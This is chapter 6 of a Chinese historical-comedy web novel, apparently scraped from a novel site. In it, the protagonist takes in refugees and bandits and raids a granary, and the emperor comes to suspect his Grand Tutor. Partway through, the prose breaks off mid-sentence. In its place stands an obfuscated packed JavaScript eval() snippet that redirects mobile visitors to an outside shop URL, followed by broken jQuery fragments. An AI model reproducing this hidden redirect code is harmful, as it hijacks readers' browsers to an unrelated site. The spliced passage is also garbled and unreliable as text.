文趣网 > 其他小说 > 臣不是心腹大患 > 6. 第 6 章
    次日,宁以哲心也不痛了、首也不疾了,只剩下一阵阵的眩晕。

    他们队伍人数爆炸式增长,从百余人进阶至小万余人,一夜之间,仿佛全世界的难民流匪都来投靠他了。

    ……这其中还有隔壁茶州的“二当家”。

    宁以哲深呼吸数次,再次确认道:“你是说……你们还想打?”

    “是!”王志目光如炬,“在茶州就差一点,大哥要是一箭射中了那狗皇帝,就根本不会死!这天下恐怕早就易主了!”

    宁以哲猝然屏息,“差一点……是差多少?”

    王志顿了顿,“差了一支箭。”

    “……”

    那不是连弓都还没拉开就被秒了吗?!

    许是宁以哲的表情太过直白,王志咬咬牙继续加码,“若是宁大王有此志,我也可以继续屈居老二,以尽心辅佐大王!”

    宁以哲怜悯地瞅他一眼,摊开笔墨,公事公办道:“姓名?擅长?预期工资?”

    王志只听见一串,“什……什么?“

    宁以哲半点情面也不讲,“这样吧,先说说你要怎么胜任这个岗位?你在上一任老板……老大那都给干黄了,你要怎么说服我继续用你?”

    王志:“……”

    宁以哲轻轻呼出一口气,尽会忽悠别人给自己卖命,还辅佐、还“二当家”!

    我呸!万恶的阶级思想!

    宁以哲忙活了一天,将背景干净的难民一一录名接收了,组成一个大生产队交给了顺子,让他带着做些后勤劳作。从茶州逃来的流匪也都没能逃脱“官方”的掌控,在祁一那登记造册,编成了进可造反、退可收编的“军匪”。

    唯有王志,宁以哲只让祁一给了他一个无合同试用机会,时刻接受人民的监督。

    原话是这样说的:好好干,通过劳动改造自己,净化自己!能不能转正,可全在你自己啊……

    -

    人一多,不仅是庄子里住不下,就是粮也不够吃了。

    住倒是好解决,简易的临时帐篷从庄里搭进了林子,靠着之前捡的木炭还能撑几天。吃就麻烦了,那么多人,那么多张嘴,要吃的粮也不是几天时间就能种出来的。

    宁以哲鬼鬼祟祟猫回屋里,不出三秒,时刻记着要监视他的祁一果然如同影子般出现在他身后。

    “……”

    宁以哲忍着惊炸毛的冲动,打探正事:“你说李……”

    刀光乍现。

    宁以哲立马灵性改口:“你——们,陛下有没有……有没有什么话忘了交代我的?”

    祁一立场很硬,“自然没有!陛下英明神武,不会忘记。”

    嘶,宁以哲头疼地换了个问法,“那陛下有没有交代你什么?”

    祁一警惕地盯着他,腰间的长刀隐隐又有了出鞘的趋势。

    “你在打探圣意?”

    “……是。”

    宁以哲虚弱地抬手,然后缓缓捂住胸口,“我就想知道英明神武的陛下,有没有想过我这会有这么多人?这么多人吃什么喝什么?”

    祁一狐疑道:“就这?”

    宁以哲简直是受不了了,“这是小事?!”

    祁一的眼神豁然从犹疑化为鄙夷,“干山匪的,竟抢粮都不会。”

    谁是山匪了!他们分明是革命队伍!

    都说了不拿群众的一针一线,怎么能抢粮呢……

    抢!抢的就是粮!

    宁以哲两眼放光,看着眼前满满当当的粮仓,朝身旁的祁一投去一个赞赏的眼神,“你怎么知道这里有粮仓?”

    祁一惜字如金:“查过。”

    宁以哲估摸着他想装一装的心思,贴心道:“哦哦?”

    祁一努力下压嘴角,“你和你同门的老家,都是我负责查。”

    宁以哲:“哦……哦!”

    懂了,李承安的侍卫,其实就是锦衣卫嘛!

    宁以哲直接招呼人把粮仓给搬空了。

    他放松地捋了捋自己的胸口,只觉得毫无道德压力,甚至有些痛快。既然是他原身的同门,那能是个什么好东西?

    都是万恶的剥削阶级罢了!

    此事做得分外高调,宁以哲前脚刚将粮运走,后脚被抢的人家就哭着吼着找上了州府。

    崔文早就得了授意,对虎山上的事睁一只眼闭一只眼,谁来都只安抚不行动,一手太极打得如胶似漆,做足了老油条的功夫。

    没过几天,平州州府不敌流匪、被山火烧怕了的丑事就被扬了出去。

    ……

    皇宫,御书房。

    新帝班师回朝,满朝廷却一波未平一波又起,弹劾平州州府的折子如雪花般堆了上来。李承安随意抽出一本,目光在被抢的“平州刘氏”上停了几息。

    刘姓如今虽已不算显赫,却也是一条百足之虫。

    李承安将折子随意扔回去,御前立马有人上来将这沓废折收走。只见帝王眉眼稍敛,似乎若有所思。

    内侍安静地上了一轮茶,将要退离时,才听见里间响起年轻帝王的低笑,“……茶州那么大一个州府因公殉职的时候,折子可有现在的一半多?”

    御书房里没有别人,只有刚上任不久的大管事全公公。全福不敢随意接话,只得揣摩着圣意道:“许是平州驿站完备……”

    “呵。”

    全福赶紧闭上嘴,“是奴才失言。”

    “无妨,”李承安重新拿起朱批,语气如常:“朕亲征剿匪,连战连捷,就剩下些不成气候的散沙……刘家还能被抢?”

    全福低头,小心地擦了下额角,“这……”

    御笔在折子上画了道凌厉的斜杠,李承安将太傅的请罪帖放置一旁。

    “依朕看,这是有人在故意养匪啊……”

    内侍不敢再多听,连忙退了出去。

    太傅的帖子被批回,还是一封请罪帖,朝廷议论纷纷。

    新帝登基以来,谨遵先皇遗诏,对太傅赵括礼遇有加不说,就连远赴茶州亲征剿匪,也毫不犹疑地将监国之权尽数交给太傅,君臣之间恰犹云龙鱼水。

    这还是头一次,李承安连半点脸面也不给。

    知道些内情的官员很快嗅出些别的味道,比如,被抢的刘家和太傅有些情谊,族中子弟亦有为官者拜入其门下。再比如,新帝剿匪告捷举国皆知,刘家的粮草又这么凑巧的“被抢”,就连闻名善战的平州州府也被他们联合弹劾,说是他“怯弱无能”……

    此案无论

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626227|206253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    结果如何,天子起了疑心都是真的。

    看似戮力一心的二代朝廷很快分出清晰的党派阵线。虽说太傅一党独大已久,剩余小团体根本不敢与其抗衡,但并不妨碍他们抱团取暖,明哲保身。

    -

    远在千里开外的京都如何暗潮汹涌,宁以哲一概不知。

    解决了粮草大题后,他久不来活的脑瓜儿又开始发散起来。但在行动之前,他心里还有最后一块疙瘩。

    晚上就寝前,祁一照旧抱着刀,立在他床前,面无情地盯着他。

    宁以哲与他相处下来,也摸着了些此人的脾气秉性。简单来说,就是极致的李承安主义者,只要不逆着李承安的意思,其他的都好说。

    再者,宁以哲有些自作多情地想,李承安将此人留下来,或许多多少少也有给他用用的意思。

    祁一监视人睡觉的耐心越来越短,见人转溜着眼珠子就是不闭眼,催促道:“速睡!”

    宁以哲眨眨眼,“再向你打探个事。”

    祁一眉头紧锁,“你又想打探圣意?”

    “……”

    其实也没说错。

    宁以哲一副虔诚的模样,“陛下英明神武,有没有说过事成之后,要怎么安置这些百姓?”

    祁一听后眉头松了几分,原原本本复述道:“凡迷途知返者,择优招安,就近落户归田。若有执迷不悟、屡犯国法者……”

    祁一莫名睨了宁以哲一眼,唰地亮出雪白的刀刃,“我等自行诛之!”

    宁以哲:“?”

    执迷不悟、屡犯国法……怎么着也不是特指他吧?!

    宁以哲默默地扒拉过被子,但好歹李承安并不是用完就杀,而是本就起了招安的念头。

    也对,匪患原本就闹在茶州,李承安亲去镇压,想必真正的祸首早已过了头七,剩下的大抵都……罪不至死。

    他大概率也罪不至死。

    宁以哲稍加放心地发散着蠢蠢欲动的脑瓜儿,打算给李承安一个惊喜,以报他不杀之恩。

    “这样,“宁以哲眼波如流,晃得祁一警惕地退后半步,就听见人说:“你明天去给我绑个人来。”

    祁一手心也痒,便问:“什么人?”

    ……

    夜幕既明。

    谷雨至,整个平州城都浸在水雾潮气之中。祁一无声地踩上一片屋檐黑瓦,身影隐在晦色之中。

    屋内,长烛燃了一夜。因为粮仓之事,刘家父子奔波数日,甚至传信京都同族,竟无一人给出明确答复。

    “爹,堂哥这是什么意思?”刘远不敢置信地翻着案上的信笺,“我们家就不说了,现在竟连当朝太傅都不能治一个小小的州府了?”

    刘家祖宅远离京都,对局势的把握虽不如朝中敏感,却也不是完全的遮眼瞎。但事出反常,刘启一时也觉得看不懂了。

    父子俩沉默片刻,刘启问:“要你去别家借粮之事办得怎么样了?”

    刘远缩缩脖子,“都怕惹祸上身,不肯借粮。”

    刘启的脸色沉了又沉,最终一巴掌拍在案上,“这伙山匪怎么就偏盯上了我们家?”

    “啪嗒”——

    屋顶传来一声异响,两人倏然一静,同时抬头。